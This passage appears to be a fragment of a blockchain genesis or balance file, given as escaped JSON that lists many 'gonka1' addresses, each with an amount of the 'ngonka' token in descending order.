\"1328014484\"\n }\n ]\n },\n {\n \"address\": \"gonka1jxtdrqyjc52j7wm2h4ec8g7enjz9r3qjy2hn8g\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1328014484\"\n }\n ]\n },\n {\n \"address\": \"gonka1s9ecxss47vq0w0hwr72f6sdpthtasem9nx33tf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1328014484\"\n }\n ]\n },\n {\n \"address\": \"gonka1xxmpgunsrg9ayx8zejnjw8zu76czmc8fre3ece\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1328014484\"\n }\n ]\n },\n {\n \"address\": \"gonka1ws5s5jrnkle6xwe4glk59yehq4qexgamjkct8c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1312191174\"\n }\n ]\n },\n {\n \"address\": \"gonka132jlm2gj75cqyuvnnufv5uhnlmfm06jvm25zuv\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1305380116\"\n }\n ]\n },\n {\n \"address\": \"gonka167ez4nvjumd0rrk78awcvxawwmf505cwrvk5nq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1305380116\"\n }\n ]\n },\n {\n \"address\": \"gonka1hmj9lrcxt9zds40uq94gga2ps7t7x75eky6cvq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1305380116\"\n }\n ]\n },\n {\n \"address\": \"gonka1txq9e2jzdfhlnugd63u5630vqnzucwavrqnu4d\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1305380116\"\n }\n ]\n },\n {\n \"address\": \"gonka1w2d6hlurl8hn47emf59eenam99gng7j7hmafj5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1305380116\"\n }\n ]\n },\n {\n \"address\": \"gonka16lsgkqgz25fj53rtp9kgdafec37kth6nnf4an4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1291375509\"\n }\n ]\n },\n {\n \"address\": \"gonka1st5dm5ec3fl084y87wfklum6sv49n782k0tsnk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1291375509\"\n }\n ]\n },\n {\n \"address\": \"gonka16m7l3g7hr3y0r3a5wdh0wmwh9rshye44ssyssw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1288230717\"\n }\n ]\n },\n {\n \"address\": \"gonka1deyrcv9dfe5a5q9tn9k0ngv8c4p7sm3gq7v2vh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1288230717\"\n }\n ]\n },\n {\n \"address\": \"gonka1f3p6j8euk9pv9ap9trvj2eusklny4ue7ys9gun\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1283740510\"\n }\n ]\n },\n {\n \"address\": \"gonka1v559jhxth9uqj30f3k78tpd202lyf6x2h8g6c2\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1283740510\"\n }\n ]\n },\n {\n \"address\": \"gonka1vye2pcqanatat8n7haxq4ddf3wtlrdefxuxsru\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1283740510\"\n }\n ]\n },\n {\n \"address\": \"gonka1qa2dzvnva77uc2778rtvz69n27uau8jtetr4g7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1279683947\"\n }\n ]\n },\n {\n \"address\": \"gonka1ue0adff609mng4n78l4vs8vc4fgaz93xcylt9m\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1235205415\"\n }\n ]\n },\n {\n \"address\": \"gonka16dhzkyjqvqt2f6h9s9f0fx0dpqaukq5hu47uul\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1233899971\"\n }\n ]\n },\n {\n \"address\": \"gonka1287a8wk9nnd7w96ejr5qkj3a04hcf4nmtckc8p\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1226742101\"\n }\n ]\n },\n {\n \"address\": \"gonka14z0upz96hw5sd6jgw4qpmy4lfjg294y560f7te\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1226742101\"\n }\n ]\n },\n {\n \"address\": \"gonka18g789gnqf4990eel5dzgpx383t0fzdef6nmw2q\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1226742101\"\n }\n ]\n },\n {\n \"address\": \"gonka1h82jwcefsu9ur3yfj97593tlyve2jes89kyqg4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1226742101\"\n }\n ]\n },\n {\n \"address\": \"gonka1uuywlyxfddqrjgpz8u4lqevz838qr30rp020yp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1226742101\"\n }\n ]\n },\n {\n \"address\": \"gonka123vh2t9er866647lsn6kclt8lfq2l9kwy4le76\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1210440236\"\n }\n ]\n },\n {\n \"address\": \"gonka17et3ctw6t4d5ylnuc2kwc8xrlwk69y0cggzjqm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1178466861\"\n }\n ]\n },\n {\n \"address\": \"gonka169ms5ewh68ervhaxslul5cmfaavnt57nkmrvgt\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1175204200\"\n }\n ]\n },\n {\n \"address\": \"gonka1sg7amslhnqrw6qyvkdt5f6ru8kakyw5uss0mj7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1175204200\"\n }\n ]\n },\n {\n \"address\": \"gonka1wpy06qhy7j7a0zcsax0q94za5p0g9g3g2sc32y\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1175204200\"\n }\n ]\n },\n {\n \"address\": \"gonka1cp45adu29a93qp8fwqn9sqt2hyqkl8qc5hty58\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1171383222\"\n }\n ]\n },\n {\n \"address\": \"gonka1ea8zl02zfvpxlpgdpywky9za5yy0ufy7htrwqz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1171383222\"\n }\n ]\n },\n {\n \"address\": \"gonka1we6ghh9kgtm5na6wf3cyfjvj5fauuln08nx3r4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1171383222\"\n }\n ]\n },\n {\n \"address\": \"gonka1000j4nzln9sg895wqvxn8eg5yrtpvgj2hxsqyw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1169798309\"\n }\n ]\n },\n {\n \"address\": \"gonka1rmr4x8lyw76gzuyzta68gj965zfa00gzh2aszz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1151289716\"\n }\n ]\n },\n {\n \"address\": \"gonka12fdlw5g8wex6v74nd42vfhnympsz5kn8p3adh5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1130375146\"\n }\n ]\n },\n {\n \"address\": \"gonka1cenhl8aucrr06z5wtprdpaxa0dutzt90rgkt99\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1130375146\"\n }\n ]\n },\n {\n \"address\": \"gonka1dhn7hjn6udpyv6gkhfulnalufv4947a4e9kyne\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1130375146\"\n }\n ]\n },\n {\n \"address\": \"gonka1p3hklp6flhdffdkwr70azcsum77fha3ecqwgg0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1130375146\"\n }\n ]\n },\n {\n \"address\": \"gonka1s43peau7vafujfxyape603yklhdzjh2stq702z\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1130375146\"\n }\n ]\n },\n {\n \"address\": \"gonka1xmgcpaw6n57ewn6s2fhggxaakemaaxuv4pdpmq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1130375146\"\n }\n ]\n },\n {\n \"address\": \"gonka1dzg3tnd6ygsw0tf06fcu9tc7sw3jzrwx6ftv7c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1114827285\"\n }\n ]\n },\n {\n \"address\": \"gonka1pka4am8g4atxzlgm3m6sy09uel7ecegtsp04zf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1090219613\"\n }\n ]\n },\n {\n \"address\": \"gonka10jjrlvkfkqupgudz0l603sq99y3wkt3urwjm0x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1088838295\"\n }\n ]\n },\n {\n \"address\": \"gonka174jxwp94lwgqr4nwlj5kke3z6fnat6p5dlg55x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1079384495\"\n }\n ]\n },\n {\n \"address\": \"gonka1ek6mqw0g0jzee3gexx70nepqw86dxmknur6f42\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1079384495\"\n }\n ]\n },\n {\n \"address\": \"gonka1mgu675kpx9fxftcs80x7sn4tdxcsqfnhes5j88\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1079384495\"\n }\n ]\n },\n {\n \"address\": \"gonka1u9pwgk75elh6qk9ehjm38xx4h9xzt99us3meud\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1079384495\"\n }\n ]\n },\n {\n \"address\": \"gonka1y4fvesetallc8w5srs3fdeaashzez0v2maksey\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1079384495\"\n }\n ]\n },\n {\n \"address\": \"gonka1yvygc3csnr2c6ee6lag82wk7p2s9vss0npu7an\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1079384495\"\n }\n ]\n },\n {\n \"address\": \"gonka1amqg6l5eshydfnhlyhncshducrfnrde58rsmrh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1052725900\"\n }\n ]\n },\n {\n \"address\": \"gonka1cldfsqjcch9w892eumdhc5ru80psjt6jck0tg4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1051968845\"\n }\n ]\n },\n {\n \"address\": \"gonka1r9e4ew3na86n2mqzwz057930rxq5yycxpj9shj\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1051968845\"\n }\n ]\n },\n {\n \"address\": \"gonka1smep2w2jmng5987qujy37ux0jf3xrj6kdy59qn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1051968845\"\n }\n ]\n },\n {\n \"address\": \"gonka1syr9s5dha0qcanrd2jpx6f85965yde0nytyux4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1051968845\"\n }\n ]\n },\n {\n \"address\": \"gonka1vewz77c875qr8lvr0m62wmf0lw8lv3qr94g6e4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1051968845\"\n }\n ]\n },\n {\n \"address\": \"gonka1xj5cdd7qfpjsste7lyz8ktfj7xl5q3kjydf3un\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1051968845\"\n }\n ]\n },\n {\n \"address\": \"gonka1vev00u8gl87e22eq8zpsr8lrnmhpvk4hl0yx3d\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1022338944\"\n }\n ]\n },\n {\n \"address\": \"gonka17py7gzq2pa75eu2z0wzp9kjum20zgxxk2jrxss\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1012832854\"\n }\n ]\n },\n {\n \"address\": \"gonka1cur9xf76n8gvgvw608r3kaxfeamyafpw5wkc99\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1012832854\"\n }\n ]\n },\n {\n \"address\": \"gonka1dc645alkwumpj3fuhxg4xu6hc255w3q5s9p3rs\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1012832854\"\n }\n ]\n },\n {\n \"address\": \"gonka1fwyt5sz43zs3hc8k0r5cgquvss9d6aa2975pfw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1012832854\"\n }\n ]\n },\n {\n \"address\": \"gonka1jfs2xqkykvlpgfahslqpljr5sxcekw7s8kutvl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1012832854\"\n }\n ]\n },\n {\n \"address\": \"gonka1lvmvyuv982ev45srx4yzj8xa4kk63n4ecswq07\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1012832854\"\n }\n ]\n },\n {\n \"address\": \"gonka18tm9tu9rak460pjdpj6xvfeffk474h6xhgme3c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1lyc347ysjruw7hvvejekqwu0y62cq0898dzarl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1pcu4wfdv2jtpfsnhgjk4zp7d46z47928xj73st\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1qv2dwvqxt542k5ewhggm2wtcpadvzg6mzupzg8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1upq4e3ahzea8mu5mhrdptff94xru98lx47h43z\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1x20c5d9wzatlr0t69xjm05x9uemq9mnk00udfa\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1yrfq267gf5jz76m3j5sln7f5h00t9g6fmat4gp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1yukev873tps58s6rlkh6czs5rrqp2sdqw7pm58\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1000955959\"\n }\n ]\n },\n {\n \"address\": \"gonka1t4xjvjtrr6fkw50d0mqz93004jh52x62apdlqj\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"992484682\"\n }\n ]\n },\n {\n \"address\": \"gonka18qpw36ctvuea4g4ygvhlquhefc9ckglffelm98\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"989308146\"\n }\n ]\n },\n {\n \"address\": \"gonka1svytprwy050gprlvhp44nkyzfss53y07d8fnj6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"989308146\"\n }\n ]\n },\n {\n \"address\": \"gonka1x0wr4u4jnzyqsvme97zy8p2uqdl9llxf938uh4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"989308146\"\n }\n ]\n },\n {\n \"address\": \"gonka1wk44rwpyrfe3urqmepx8g7n5wh44j57ywhmzny\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"978610621\"\n }\n ]\n },\n {\n \"address\": \"gonka1rhswewu6mczgme9p87uwtyufu3px3t8vksn22c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"971125899\"\n }\n ]\n },\n {\n \"address\": \"gonka1lc6gsl33geyvknx9fl54p2rlzjxjvygwfyul74\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"951668342\"\n }\n ]\n },\n {\n \"address\": \"gonka1u6ckk5ql3c0xjvha5ll3mhv9cr047njvazx648\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"935153654\"\n }\n ]\n },\n {\n \"address\": \"gonka18a9dnx4u7z0jqf66l4uk6zgnhszhd4qs5u7447\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"929101099\"\n }\n ]\n },\n {\n \"address\": \"gonka19tq260hnd4y83q9m7nk6q5yc9xenesukvznak4\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"929101099\"\n }\n ]\n },\n {\n \"address\": \"gonka1m4hsj08wgcjnwdjlnssed0tr4umralj6p5lfsf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"929101099\"\n }\n ]\n },\n {\n \"address\": \"gonka1tr9v4n6v7tycc2rplnazxfa672h82sgg7w5z8k\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"929101099\"\n }\n ]\n },\n {\n \"address\": \"gonka1u4zpegkxj5aj3pkpvgyukh8n2cswc3njk7xf40\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"929101099\"\n }\n ]\n },\n {\n \"address\": \"gonka1wxgfseq4t6ph7jfrvrnjkf88424n7d93e5pskz\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"929101099\"\n }\n ]\n },\n {\n \"address\": \"gonka18d032cycta26ussz94was3us7tlwcgh4gx75xp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1grj4l6fr9uqj43tqqe6m4st7a6zwam8rznzryy\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1nfz6dszuzcewxaukt7t6natedpdjptf9r7uxwg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1quj84w0dqrkk4jklyg5p0dkvvukey3lnchu9f3\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1rs5hvyh4rs2f0y9ywkmwfek8r0d59tf4pvknwg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1tmngrjsrnwu3d3c7r3043wf2ml692w0pnpu044\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1u8s6vtmp79an7f7xw8hmrmvlntadf3j8na3ajc\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"922450792\"\n }\n ]\n },\n {\n \"address\": \"gonka1djk2tqcjsqqd56rfz4p5lmpwwug297zs8ygmx3\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920305803\"\n }\n ]\n },\n {\n \"address\": \"gonka1hkccmh2jc7c8wfs5ydtelx8x6m5957ae200dre\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920305803\"\n }\n ]\n },\n {\n \"address\": \"gonka1l3f79kphpczsw4cz357cxue98gjpcuyxrczh8e\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920305803\"\n }\n ]\n },\n {\n \"address\": \"gonka1u5ex4n6r7cjqkkqm4wh5khtzxaee7v52yce29n\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920305803\"\n }\n ]\n },\n {\n \"address\": \"gonka1x805263eml3mwyeny8cvdpe9q27f4ku3h2yatl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920305803\"\n }\n ]\n },\n {\n \"address\": \"gonka1xsntypk5ehu70rvy4nxh49d7zvk6nwf8tj2xd8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"920305803\"\n }\n ]\n },\n {\n \"address\": \"gonka16qm4h6qlv5q65cz6q4m4z4h252tzk55hfu0u6f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912027590\"\n }\n ]\n },\n {\n \"address\": \"gonka1puuuug080fa7p3kpdvwq624ufnxe4vqg8yd62f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912027590\"\n }\n ]\n },\n {\n \"address\": \"gonka1r6xg9wcw2ekrlyyp0ct04zqv23dz695tcdx6vh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912027590\"\n }\n ]\n },\n {\n \"address\": \"gonka1rkr3np6d965ztapgle7hlynvdtx5pqqwef9ks8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912027590\"\n }\n ]\n },\n {\n \"address\": \"gonka1vxusszuq3z92ck4q5vkd877zu5grk7qu2j7dqf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912027590\"\n }\n ]\n },\n {\n \"address\": \"gonka1xnf7rsktgug63zfl68f22rnecljruzyk6f0ja6\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"912027590\"\n }\n ]\n },\n {\n \"address\": \"gonka17sktsm7djnwla0txhlq3lpeekw3jz38y2shqj3\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"903465613\"\n }\n ]\n },\n {\n \"address\": \"gonka19u7w9jek8y5nj7qzssm3x6a8p2ukmrxrust6qs\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"903465613\"\n }\n ]\n },\n {\n \"address\": \"gonka1fwum8860xfxfqghem7npn643ppftsfevwply74\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"903465613\"\n }\n ]\n },\n {\n \"address\": \"gonka1x3szaeuwkx6c6wal4h3pr6z5a5d6p7dus4jy3h\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"903465613\"\n }\n ]\n },\n {\n \"address\": \"gonka146a8kuv4hf6lg5ex0h7k89vwld2c7lwp5923cy\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"903465612\"\n }\n ]\n },\n {\n \"address\": \"gonka15dyl07mzr3h6harfrmkkav9vhgv64gsa3qp0s8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"903465612\"\n }\n ]\n },\n {\n \"address\": \"gonka1l3m5ake2y2aeka55x62dxem4dd52fyaku2vz3j\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"897394442\"\n }\n ]\n },\n {\n \"address\": \"gonka10cgunscfhdwjmndzcjv7znyj8nmdrf2jacxn0x\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka13v2qrzt2r8c0ctwct8j9hzqwew27chx6uwvlkm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka15an2wjcwrqlmqfn52hcycqdqegepdwraux8eqw\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka194pzpr7mqwkdldzgpfaadd8wwu663t3yaupcus\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka1a7ckfc5a9r8w87w3kfw5cxa7fhww67vk7krh03\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka1k6tjjlcj5y0rt3zu4gjq3pqjfync84v84atdel\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka1ym3p4nn8r6xydcj9a5jg88fwfquc23ndufh4td\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"889432972\"\n }\n ]\n },\n {\n \"address\": \"gonka1lc3a4lshfj5a7axh5w78edv8lc33hyyjef5692\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"870471367\"\n }\n ]\n },\n {\n \"address\": \"gonka14cee9dv3ew5chhttaka7p5q6ua0dfep5eqs0js\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"864229823\"\n }\n ]\n },\n {\n \"address\": \"gonka16rq8wlak0r4v9cdqs8sk3k4j28rxveyzn4eu4h\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"864229823\"\n }\n ]\n },\n {\n \"address\": \"gonka19akvnwa3dvw8zkthcm36vegvwmymkr3hxq0qve\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"864229823\"\n }\n ]\n },\n {\n \"address\": \"gonka1mjcyendh6mej6w6s2xymklpenn6ggw46l78esp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"864229823\"\n }\n ]\n },\n {\n \"address\": \"gonka1ve37whw9475rj3l0dy57xch9rnjcha9afv4f3s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"864229823\"\n }\n ]\n },\n {\n \"address\": \"gonka19mh7jn9xmzz9m0nrczgd32usqrcqm7mpsrh77j\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"845482324\"\n }\n ]\n },\n {\n \"address\": \"gonka1l3f9ze5n0fdwyaz4r9faeujhhx7szc53p9gclf\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"820297858\"\n }\n ]\n },\n {\n \"address\": \"gonka1a8dz4xw9xwwe0s3myandm6t0v4kvwea7pwrsmq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"816800688\"\n }\n ]\n },\n {\n \"address\": \"gonka1xnnu7yj6lsdmh3cjne9hk929y6yx8u5rwredz0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"816800688\"\n }\n ]\n },\n {\n \"address\": \"gonka14dd23kqxte3yhuae93g953ehh73f3djnuq0ern\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka15ra622ntmvwys9mxqncn2uv9vwknlytfu959ff\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka17f97mtfja2d38q8vjw5vsx8w833398aymznrxm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka19w0rclzvhpt0h9skdptfpaz5jw2t80ml2geuw9\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka1k5cycfsyhqk8txq95gtfffhpg20h6vlk84tdhv\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka1qzfec6p82ssja27nzs09ch09p87lqu3xx5e50f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka1whtj4z520meenq52f2zudu8zwmu06vg389x7pu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka1y9ayc8l9jxypsgmpqup0ean597g0ftlywf7urd\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"806821251\"\n }\n ]\n },\n {\n \"address\": \"gonka18zmmjk9799qeu7s2cku5yh3ty6xayxds7n42gh\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"803064557\"\n }\n ]\n },\n {\n \"address\": \"gonka1mkwqr346yy5ag0x450hht9ndl2wqhuzrfz0fd7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"803064557\"\n }\n ]\n },\n {\n \"address\": \"gonka1v3y4tse5aj58d7kxe4jqsw6e2hedewd82d737c\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"803064557\"\n }\n ]\n },\n {\n \"address\": \"gonka1w5xvh0ag9a2vd43lrurx5emlckth8fzv2tvepu\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"803064557\"\n }\n ]\n },\n {\n \"address\": \"gonka1zqj957tgjylep4vctsz8rw827slsddqww8drj5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"803064557\"\n }\n ]\n },\n {\n \"address\": \"gonka1rh9eca49arpw96m2zmvr2usk9qdy6q5gns8gj7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"771105184\"\n }\n ]\n },\n {\n \"address\": \"gonka1sv2jztqucv0z6whq6k3wlnd3u2qezpplrwyhdx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"736873285\"\n }\n ]\n },\n {\n \"address\": \"gonka1w6clgj4gjpd3r28gjp7vrza3rwzujl4gty6ln7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"735506121\"\n }\n ]\n },\n {\n \"address\": \"gonka1dll7aqkqleqt8s363fx2s3versn3r3c0zt3vj0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"729725585\"\n }\n ]\n },\n {\n \"address\": \"gonka1q6h4shel59yz6hqshz3ncdtegulj9840nzzyxs\",\n \"coins\": [\n {\n \"denom\": 